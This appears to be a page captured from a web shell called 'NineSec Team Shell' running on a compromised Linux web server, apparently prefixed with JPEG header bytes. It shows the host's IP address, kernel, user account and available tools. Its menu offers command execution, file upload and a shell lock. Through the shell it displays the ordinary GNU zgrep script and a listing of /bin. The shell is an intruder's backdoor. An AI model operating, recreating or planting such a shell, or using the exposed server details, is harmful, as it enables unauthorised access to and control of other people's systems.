�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /home/../bin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/../bin/zgrep
#!/bin/sh

# zgrep -- a wrapper around a grep program that decompresses files as needed
# Adapted from a version sent by Charles Levert <charles@comm.polymtl.ca>

# Copyright (C) 1998, 2001-2002, 2006-2007, 2009-2018 Free Software Foundation,
# Inc.

# Copyright (C) 1993 Jean-loup Gailly

# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3 of the License, or
# (at your option) any later version.

# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.

# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

grep='${GREP-'\''grep'\''}'
args=

version='zgrep (gzip) 1.10
Copyright (C) 2010-2018 Free Software Foundation, Inc.
This is free software.  You may redistribute copies of it under the terms of
the GNU General Public License <https://www.gnu.org/licenses/gpl.html>.
There is NO WARRANTY, to the extent permitted by law.

Written by Jean-loup Gailly.'

usage="Usage: $0 [OPTION]... [-e] PATTERN [FILE]...
Look for instances of PATTERN in the input FILEs, using their
uncompressed contents if they are compressed.

OPTIONs are the same as for 'grep', except that the following 'grep'
options are not supported: --dereference-recursive (-R), --directories (-d),
--exclude, --exclude-from, --exclude-dir, --include, --null (-Z),
--null-data (-z), and --recursive (-r).

Report bugs to <bug-gzip@gnu.org>."

# sed script to escape all ' for the shell, and then (to handle trailing
# newlines correctly) append ' to the last line.
escape='
  s/'\''/'\''\\'\'''\''/g
  $s/$/'\''/
'
operands=
have_pat=0
files_with_matches=0
files_without_matches=0
no_filename=0
with_filename=0
pattmp=

while test $# -ne 0; do
  option=$1
  shift
  optarg=

  case $option in
  (-[0123456789EFGHIKLPRTUVZabchilnoqrsuvwxyz]*[!0123456789]*)
    arg2=-\'$(LC_ALL=C expr "X$option" : 'X-.[0-9]*\(.*\)' |
                LC_ALL=C sed "$escape")
    eval "set -- $arg2 "'${1+"$@"}'
    option=$(LC_ALL=C expr "X$option" : 'X\(-.[0-9]*\)');;
  (--binary-*=* | --[lm]a*=* | --reg*=*)
    ;;
  (-[ABCDXdefm] | --binary-* | --file | --[lm]a* | --reg*)
    case ${1?"$option option requires an argument"} in
    (*\'*)
      optarg=" '"$(printf '%s\n' "$1" | LC_ALL=C sed "$escape");;
    (*)
      optarg=" '$1'";;
    esac
    shift;;
  (-f?*\'*)
    optarg=" '"$(LC_ALL=C expr "X$option" : 'X-f\(.*\)' |
                   LC_ALL=C sed "$escape")
    option=-f;;
  (-f?*)
    optarg=" '"$(LC_ALL=C expr "X$option" : 'X-f\(.*\)')\'
    option=-f;;
  (--file=*\'*)
    optarg=" '"$(LC_ALL=C expr "X$option" : 'X--file=\(.*\)' |
                   LC_ALL=C sed "$escape")
    option=--file;;
  (--file=*)
    optarg=" '"$(LC_ALL=C expr "X$option" : 'X--file=\(.*\)')\'
    option=--file;;
  (--)
    break;;
  (-?*)
    ;;
  (*)
    case $option in
    (*\'*)
      operands="$operands '"$(printf '%s\n' "$option" | LC_ALL=C sed "$escape")
      ;;
    (*)
      operands="$operands '$option'";;
    esac
    ${POSIXLY_CORRECT+break}
    continue;;
  esac

  case $option in
  (-[drRzZ] | --di* | --exc* | --inc* | --rec* | --nu*)
    printf >&2 '%s: %s: option not supported\n' "$0" "$option"
    exit 2;;
  (-e* | --reg*)
    have_pat=1;;
  (-f | --file)
    # The pattern is coming from a file rather than the command-line.
    # If the file is actually stdin then we need to do a little
    # magic, since we use stdin to pass the gzip output to grep.
    # Similarly if it is not a regular file, since it might be read repeatedly.
    # In either of these two cases, copy the pattern into a temporary file,
    # and use that file instead.  The pattern might contain null bytes,
    # so we cannot simply switch to -e here.
    if case $optarg in
       (" '-'" | " '/dev/stdin'" | " '/dev/fd/0'")
         :;;
       (*)
         eval "test ! -f$optarg";;
       esac
    then
      if test -n "$pattmp"; then
        eval "cat --$optarg" >>"$pattmp" || exit 2
        continue
      fi
      trap '
        test -n "$pattmp" && rm -f "$pattmp"
        (exit 2); exit 2
      ' HUP INT PIPE TERM 0
      case $TMPDIR in
        / | /*/) ;;
        /*) TMPDIR=$TMPDIR/;;
        *) TMPDIR=/tmp/;;
      esac
      if type mktemp >/dev/null 2>&1; then
        pattmp=$(mktemp "${TMPDIR}zgrepXXXXXXXXX") || exit 2
      else
        set -C
        pattmp=${TMPDIR}zgrep$$
      fi
      eval "cat --$optarg" >"$pattmp" || exit 2
      optarg=' "$pattmp"'
    fi
    have_pat=1;;
  (--h | --he | --hel | --help)
    printf '%s\n' "$usage" || exit 2
    exit;;
  (-H | --wi | --wit | --with | --with- | --with-f | --with-fi \
  | --with-fil | --with-file | --with-filen | --with-filena | --with-filenam \
  | --with-filename)
    with_filename=1
    continue;;
  (-l | --files-with-*)
    files_with_matches=1;;
  (-L | --files-witho*)
    files_without_matches=1;;
  (-h | --no-f*)
    no_filename=1;;
  (-V | --v | --ve | --ver | --vers | --versi | --versio | --version)
    printf '%s\n' "$version" || exit 2
    exit;;
  esac

  case $option in
  (*\'?*)
    option=\'$(printf '%s\n' "$option" | LC_ALL=C sed "$escape");;
  (*)
    option="'$option'";;
  esac

  args="$args $option$optarg"
done

eval "set -- $operands "'${1+"$@"}'

if test $have_pat -eq 0; then
  case ${1?"missing pattern; try \`$0 --help' for help"} in
  (*\'*)
    args="$args -- '"$(printf '%s\n' "$1" | LC_ALL=C sed "$escape");;
  (*)
    args="$args -- '$1'";;
  esac
  shift
fi

if test $# -eq 0; then
  set -- -
elif test 1 -lt $# && test $no_filename -eq 0; then
  with_filename=1
fi

l_e=$(eval "(echo e | $grep -H --label=l e) 2>/dev/null") && test "$l_e" = l:e
gnuish_grep="test $? -eq 0"
if $gnuish_grep && test $with_filename -eq 1; then
  grep="$grep -H"
fi

exec 3>&1
res=1

for i
do
  # Fail if gzip or grep (or sed) fails.
  gzip_status=$(
    exec 5>&1
    (gzip -cdfq -- "$i" 5>&-; echo $? >&5) 3>&- |
    if test $files_with_matches -eq 1; then
      eval "$grep$args" >/dev/null && { printf '%s\n' "$i" || exit 2; }
    elif test $files_without_matches -eq 1; then
      eval "$grep$args" >/dev/null || {
        r=$?
        if test $r -eq 1; then
          printf '%s\n' "$i" || r=2
        fi
        test 256 -le $r && r=$(expr 128 + $r % 128)
        exit $r
      }
    elif $gnuish_grep && test "$i" != -; then
      eval "$grep --label \"\$i\"$args"
    elif $gnuish_grep || test $with_filename -eq 0; then
      eval "$grep$args"
    else
      case $i in
      (*'
'* | *'&'* | *'\'* | *'|'*)
          icolon=$(printf '%s\n' "$i:" |
                     LC_ALL=C sed -e 's/[&\|]/\\&/g' -e '$!s/$/\\/');;
      (*) icolon="$i:";;
      esac
      sed_script="s|^|$icolon|"

      # Fail if grep or sed fails.
      r=$(
        exec 4>&1
        (eval "$grep$args" 4>&-; echo $? >&4) 3>&- |
           LC_ALL=C sed "$sed_script" >&3 4>&-
      ) || { r=$?; test $r -lt 2 && r=2; }
      test 256 -le $r && r=$(expr 128 + $r % 128)
      exit $r
    fi >&3 5>&-
  )
  r=$?

  # Ignore gzip status 2, as it is just a warning.
  # gzip status 1 is an error, like grep status 2.
  test $gzip_status -eq 2 && gzip_status=0
  test $gzip_status -eq 1 && gzip_status=2

  # Use the more serious of the grep and gzip statuses.
  test $r -lt $gzip_status && r=$gzip_status

  # Accumulate the greatest status, except consider 0 to be greater than 1.
  if test $r -le 1 && test $res -le 1; then
     test $r -lt $res
  else
     test $res -lt $r
  fi && res=$r

  # Exit immediately on a serious error.
  test 126 -le $res && break
done

if test -n "$pattmp"; then
  rm -f "$pattmp" || {
    r=$?
    test $r -lt 2 && r=2
    test $res -lt $r && res=$r
  }
  trap - HUP INT PIPE TERM 0
fi

test 128 -le $res && kill -$(expr $res % 128) $$
exit $res

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
May 29 2025 6:02:43
root
0755
bash
1.13 MB
April 18 2022 11:14:46
root
0755
bunzip2
38.227 KB
September 05 2019 5:05:14
root
0755
busybox
2.07 MB
November 24 2021 8:02:55
root
0755
bzcat
38.227 KB
September 05 2019 5:05:14
root
0755
bzcmp
2.175 KB
September 05 2019 5:05:14
root
0755
bzdiff
2.175 KB
September 05 2019 5:05:14
root
0755
bzegrep
3.687 KB
September 05 2019 5:05:14
root
0755
bzexe
4.763 KB
September 04 2019 3:22:31
root
0755
bzfgrep
3.687 KB
September 05 2019 5:05:14
root
0755
bzgrep
3.687 KB
September 05 2019 5:05:14
root
0755
bzip2
38.227 KB
September 05 2019 5:05:14
root
0755
bzip2recover
18.148 KB
September 05 2019 5:05:14
root
0755
bzless
1.267 KB
September 05 2019 5:05:14
root
0755
bzmore
1.267 KB
September 05 2019 5:05:14
root
0755
cat
42.398 KB
September 05 2019 12:38:40
root
0755
chgrp
70.336 KB
September 05 2019 12:38:40
root
0755
chmod
62.367 KB
September 05 2019 12:38:40
root
0755
chown
70.336 KB
September 05 2019 12:38:40
root
0755
chvt
14.07 KB
May 09 2019 5:22:51
root
0755
cp
150.367 KB
September 05 2019 12:38:40
root
0755
cpio
161.625 KB
August 25 2021 12:52:28
root
0755
dash
126.773 KB
July 18 2019 8:15:27
root
0755
date
106.367 KB
September 05 2019 12:38:40
root
0755
dd
78.375 KB
September 05 2019 12:38:40
root
0755
df
90.945 KB
September 05 2019 12:38:40
root
0755
dir
138.813 KB
September 05 2019 12:38:40
root
0755
dmesg
82.461 KB
May 30 2023 5:42:35
root
0755
dnsdomainname
26.227 KB
November 07 2019 12:31:36
root
0755
domainname
26.227 KB
November 07 2019 12:31:36
root
0755
dumpkeys
174.523 KB
May 09 2019 5:22:51
root
0755
echo
38.336 KB
September 05 2019 12:38:40
root
0755
ed
54.203 KB
February 22 2020 7:20:46
root
0755
egrep
0.027 KB
January 29 2020 10:31:53
root
0755
false
38.336 KB
September 05 2019 12:38:40
root
0755
fgconsole
14.07 KB
May 09 2019 5:22:51
root
0755
fgrep
0.027 KB
January 29 2020 10:31:53
root
0755
findmnt
71.414 KB
May 30 2023 5:42:35
root
0755
fuser
39.242 KB
November 12 2019 12:16:21
root
0755
fusermount
38.227 KB
March 07 2020 12:09:49
root
4755
grep
194.469 KB
January 29 2020 10:31:53
root
0755
gunzip
2.291 KB
April 08 2022 1:05:45
root
0755
gzexe
6.296 KB
April 08 2022 1:05:45
root
0755
gzip
95.211 KB
April 08 2022 1:05:45
root
0755
hostname
26.227 KB
November 07 2019 12:31:36
root
0755
ip
597.617 KB
February 13 2020 6:21:59
root
0755
journalctl
78.242 KB
November 21 2023 10:10:21
root
0755
kbd_mode
14.07 KB
May 09 2019 5:22:51
root
0755
kill
30.227 KB
October 31 2023 12:35:56
root
0755
kmod
170.336 KB
January 28 2022 3:49:50
root
0755
ln
74.375 KB
September 05 2019 12:38:40
root
0755
loadkeys
210.57 KB
May 09 2019 5:22:51
root
0755
login
55.766 KB
November 29 2022 12:53:10
root
0755
loginctl
58.336 KB
November 21 2023 10:10:21
root
0755
lowntfs-3g
118.859 KB
November 01 2022 12:56:50
root
0755
ls
138.813 KB
September 05 2019 12:38:40
root
0755
lsblk
130.227 KB
May 30 2023 5:42:35
root
0755
lsmod
170.336 KB
January 28 2022 3:49:50
root
0755
mkdir
86.336 KB
September 05 2019 12:38:40
root
0755
mknod
70.336 KB
September 05 2019 12:38:40
root
0755
mktemp
46.336 KB
September 05 2019 12:38:40
root
0755
more
42.148 KB
May 30 2023 5:42:35
root
0755
mount
54.227 KB
May 30 2023 5:42:35
root
4755
mountpoint
14.227 KB
May 30 2023 5:42:35
root
0755
mt
86.781 KB
August 25 2021 12:52:28
root
0755
mt-gnu
86.781 KB
August 25 2021 12:52:28
root
0755
mv
146.375 KB
September 05 2019 12:38:40
root
0755
nano
312.633 KB
April 10 2020 4:12:30
root
0755
nc
42.641 KB
March 09 2020 7:50:15
root
0755
nc.openbsd
42.641 KB
March 09 2020 7:50:15
root
0755
netcat
42.641 KB
March 09 2020 7:50:15
root
0755
netstat
154.578 KB
February 01 2019 7:07:53
root
0755
networkctl
74.227 KB
November 21 2023 10:10:21
root
0755
nisdomainname
26.227 KB
November 07 2019 12:31:36
root
0755
ntfs-3g
158.891 KB
November 01 2022 12:56:50
root
0755
ntfs-3g.probe
14.227 KB
November 01 2022 12:56:50
root
0755
ntfscat
34.258 KB
November 01 2022 12:56:50
root
0755
ntfscluster
38.258 KB
November 01 2022 12:56:50
root
0755
ntfscmp
38.258 KB
November 01 2022 12:56:50
root
0755
ntfsfallocate
38.266 KB
November 01 2022 12:56:50
root
0755
ntfsfix
46.266 KB
November 01 2022 12:56:50
root
0755
ntfsinfo
58.273 KB
November 01 2022 12:56:50
root
0755
ntfsls
35.336 KB
November 01 2022 12:56:50
root
0755
ntfsmove
38.258 KB
November 01 2022 12:56:50
root
0755
ntfsrecover
118.258 KB
November 01 2022 12:56:50
root
0755
ntfssecaudit
94.75 KB
November 01 2022 12:56:50
root
0755
ntfstruncate
42.188 KB
November 01 2022 12:56:50
root
0755
ntfsusermap
38.18 KB
November 01 2022 12:56:50
root
0755
ntfswipe
54.789 KB
November 01 2022 12:56:50
root
0755
openvt
22.43 KB
May 09 2019 5:22:51
root
0755
pidof
26.383 KB
February 13 2020 7:38:21
root
0755
ping
71.07 KB
September 13 2022 9:06:15
root
0755
ping4
71.07 KB
September 13 2022 9:06:15
root
0755
ping6
71.07 KB
September 13 2022 9:06:15
root
0755
plymouth
50.148 KB
November 02 2020 11:02:17
root
0755
ps
134.461 KB
October 31 2023 12:35:56
root
0755
pwd
42.336 KB
September 05 2019 12:38:40
root
0755
rbash
1.13 MB
April 18 2022 11:14:46
root
0755
readlink
50.336 KB
September 05 2019 12:38:40
root
0755
red
0.087 KB
February 22 2020 7:20:46
root
0755
rm
70.367 KB
September 05 2019 12:38:40
root
0755
rmdir
46.336 KB
September 05 2019 12:38:40
root
0755
rnano
312.633 KB
April 10 2020 4:12:30
root
0755
run-parts
26.508 KB
December 07 2019 3:13:44
root
0755
sed
118.445 KB
December 22 2018 3:24:04
root
0755
setfont
46.133 KB
May 09 2019 5:22:51
root
0755
setupcon
38.313 KB
March 27 2020 11:10:06
root
0755
sh
126.773 KB
July 18 2019 8:15:27
root
0755
sleep
38.336 KB
September 05 2019 12:38:40
root
0755
ss
164.844 KB
February 13 2020 6:21:59
root
0755
static-sh
2.07 MB
November 24 2021 8:02:55
root
0755
stty
82.367 KB
September 05 2019 12:38:40
root
0755
su
66.227 KB
May 30 2023 5:42:35
root
4755
sync
38.336 KB
September 05 2019 12:38:40
root
0755
systemctl
973.227 KB
November 21 2023 10:10:21
root
0755
systemd
1.55 MB
November 21 2023 10:10:21
root
0755
systemd-ask-password
14.336 KB
November 21 2023 10:10:21
root
0755
systemd-escape
22.219 KB
November 21 2023 10:10:21
root
0755
systemd-hwdb
106.516 KB
November 21 2023 10:10:21
root
0755
systemd-inhibit
22.242 KB
November 21 2023 10:10:21
root
0755
systemd-machine-id-setup
26.32 KB
November 21 2023 10:10:21
root
0755
systemd-notify
18.227 KB
November 21 2023 10:10:21
root
0755
systemd-sysusers
54.516 KB
November 21 2023 10:10:21
root
0755
systemd-tmpfiles
86.406 KB
November 21 2023 10:10:21
root
0755
systemd-tty-ask-password-agent
30.219 KB
November 21 2023 10:10:21
root
0755
tar
437.609 KB
December 05 2023 6:16:50
root
0755
tempfile
14.023 KB
December 07 2019 3:13:44
root
0755
touch
98.367 KB
September 05 2019 12:38:40
root
0755
true
38.336 KB
September 05 2019 12:38:40
root
0755
udevadm
931.203 KB
November 21 2023 10:10:21
root
0755
ulockmgr_server
18.148 KB
March 07 2020 12:09:49
root
0755
umount
38.227 KB
May 30 2023 5:42:35
root
4755
uname
38.367 KB
September 05 2019 12:38:40
root
0755
uncompress
2.291 KB
April 08 2022 1:05:45
root
0755
unicode_start
2.697 KB
May 09 2019 5:22:51
root
0755
vdir
138.813 KB
September 05 2019 12:38:40
root
0755
wdctl
34.227 KB
May 30 2023 5:42:35
root
0755
which
0.924 KB
December 07 2019 3:13:44
root
0755
ypdomainname
26.227 KB
November 07 2019 12:31:36
root
0755
zcat
1.938 KB
April 08 2022 1:05:45
root
0755
zcmp
1.639 KB
April 08 2022 1:05:45
root
0755
zdiff
5.76 KB
April 08 2022 1:05:45
root
0755
zegrep
0.028 KB
April 08 2022 1:05:45
root
0755
zfgrep
0.028 KB
April 08 2022 1:05:45
root
0755
zforce
2.032 KB
April 08 2022 1:05:45
root
0755
zgrep
7.913 KB
April 08 2022 1:05:45
root
0755
zless
2.154 KB
April 08 2022 1:05:45
root
0755
zmore
1.799 KB
April 08 2022 1:05:45
root
0755
znew
4.47 KB
April 08 2022 1:05:45
root
0755

NineSec Team - 2022